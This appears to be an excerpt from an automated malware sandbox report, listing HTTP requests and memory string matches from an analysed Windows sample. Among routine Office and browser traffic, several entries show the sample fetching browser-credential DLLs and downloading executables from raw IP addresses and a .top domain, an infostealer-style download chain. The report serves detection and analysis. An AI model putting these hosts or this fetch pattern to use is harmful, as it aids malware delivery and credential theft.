Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/6639161109/vg9qcBa.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlYou must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlYou must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: 000003.log6.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
